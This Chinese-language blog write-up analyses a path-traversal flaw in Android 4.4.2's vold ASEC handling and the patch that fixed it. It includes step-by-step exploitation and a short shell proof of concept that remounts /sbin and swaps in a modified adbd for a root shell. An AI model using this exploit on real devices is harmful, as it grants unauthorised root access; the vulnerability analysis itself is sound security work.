天天看點

淺析VOLD_ASEC漏洞

0x1 漏洞描述

  這個漏洞沒有被CVE庫收錄,而是被默默修補掉了.通過檢視AOSP changelog(4.4.2 – 4.4.3)當中的内容可以得知這是一個vold程序中asec子產品由于沒有校驗使用者傳遞路徑而導緻的問題.它可以讓vold為我們mount任意目錄,如果該目錄原本存在,将被新的目錄覆寫掉.由于vold程序是以root權限運作的,它的功能和潛在的安全漏洞都成為令人關注的目标.

0x2 原理分析

  Vold守護程序是Android系統上用于管理和控制外部儲存設備的背景程序.比如插入SD卡時,vold會處理這一事件,先将SD卡挂載到相應的路徑(/mnt/sdcard),當SD卡被使用者取出後,vold就會解除安裝目标卷.

/*
問題代碼摘自AOSP4.4.2/system/vold/VolumeManager.cpp當中的createAsec函數
http://androidxref.com/4.4.2_r2/xref/system/vold/VolumeManager.cpp
*/
           
淺析VOLD_ASEC漏洞
淺析VOLD_ASEC漏洞
淺析VOLD_ASEC漏洞

如代碼所示,使用了snprintf函數,其中沒有對使用者所傳遞的id進行任何校驗.也就是意味着如果路徑以”../../PATH”這樣的方式傳遞,将可以周遊任意路徑.比如如果id的值為../../data/local/tmp/xxxx,那麼在/data/local/tmp/目錄下會建立xxxx.asec檔案.

淺析VOLD_ASEC漏洞

  這段代碼的意思就是如果挂載點已經存在,并且沒有錯誤抛出,vold就會正确挂載該路徑.但是如果挂載點已經存在并且是一個指向另一目錄的符号連結呢?它将會被新的目錄所覆寫.是以說vold可以為我們重複挂載任何一個目錄.那麼也就是意味着我們可以完全控制自己指定的目錄,并且向目錄寫入檔案來覆寫系統目錄.

0x3 如何利用

  大緻思路是把/sbin目錄重新mount,替換掉/sbin/adbd檔案,并且當系統程序adbd重新被init程序啟動的時候,我們就可以控制adbd程序以root權限執行任意代碼,之後以root權限放一個帶s位的su到系統目錄下,這樣就完成了利用.這裡需要注意的是需要以個特殊的adbd檔案,因為預設的adbd啟動之後會自己降級.我們隻要把adb.c當中的should_drop_privileges函數直接傳回0,再重新編譯就可以獲得這個特殊adbd檔案.

具體過程:

1. 建立一個指向/sbin目錄的符号連結/data/local/tmp/xxxx

2. 使用vdc向vold程序傳遞觸發漏洞的消息,vold程序會在/data/app-sec/xxxx路徑下建立一個檔案夾,并且将它mount成/mnt/asec/xxxx.是以我們要傳遞剛才建立的/sbin的符号連結,這樣/sbin目錄就會被重新覆寫成一個空分區.

3. 把adb.c當中的should_drop_privileges函數直接傳回0,再重新編譯.

4. 為/data/local/tmp/adbd建立/sbin/adbd的符号連結

5. 殺死adbd程序,init程序将其重新啟動,/data/local/tmp/adbd以root權限運作.

0x4 POC

ln -s  /sbin /data/local/tmp/test1
vdc asec create ../../data/local/tmp/test1 4 ext4 none 2000 false
ln -s  /data/local/tmp/adbd /sbin/adbd
chmod 755 /data/local/tmp/adbd
echo 'kill adbd by yourself,then you get a root shell'
           

0x5 漏洞修複

bool VolumeManager::isLegalAsecId(const char *id) const 
{
	size_t i;
	size_t len = strlen(id);
	
	if (len == 0) {
		return false;
	}
	if ((id[0] == '.') || (id[len - 1] == '.')) {
		return false;
	}
	
	for (i = 0; i < len; i++) {
		if (id[i] == '.') {
			// i=0 is guaranteed never to have a dot. See above.
			if (id[i-1] == '.') return false;
			continue;
		}
		if (id[i] == '_' || id[i] == '-') continue;
		if (id[i] >= 'a' && id[i] <= 'z') continue;
		if (id[i] >= 'A' && id[i] <= 'Z') continue;
		if (id[i] >= '0' && id[i] <= '9') continue;
		return false;
	}
	
	return true;
}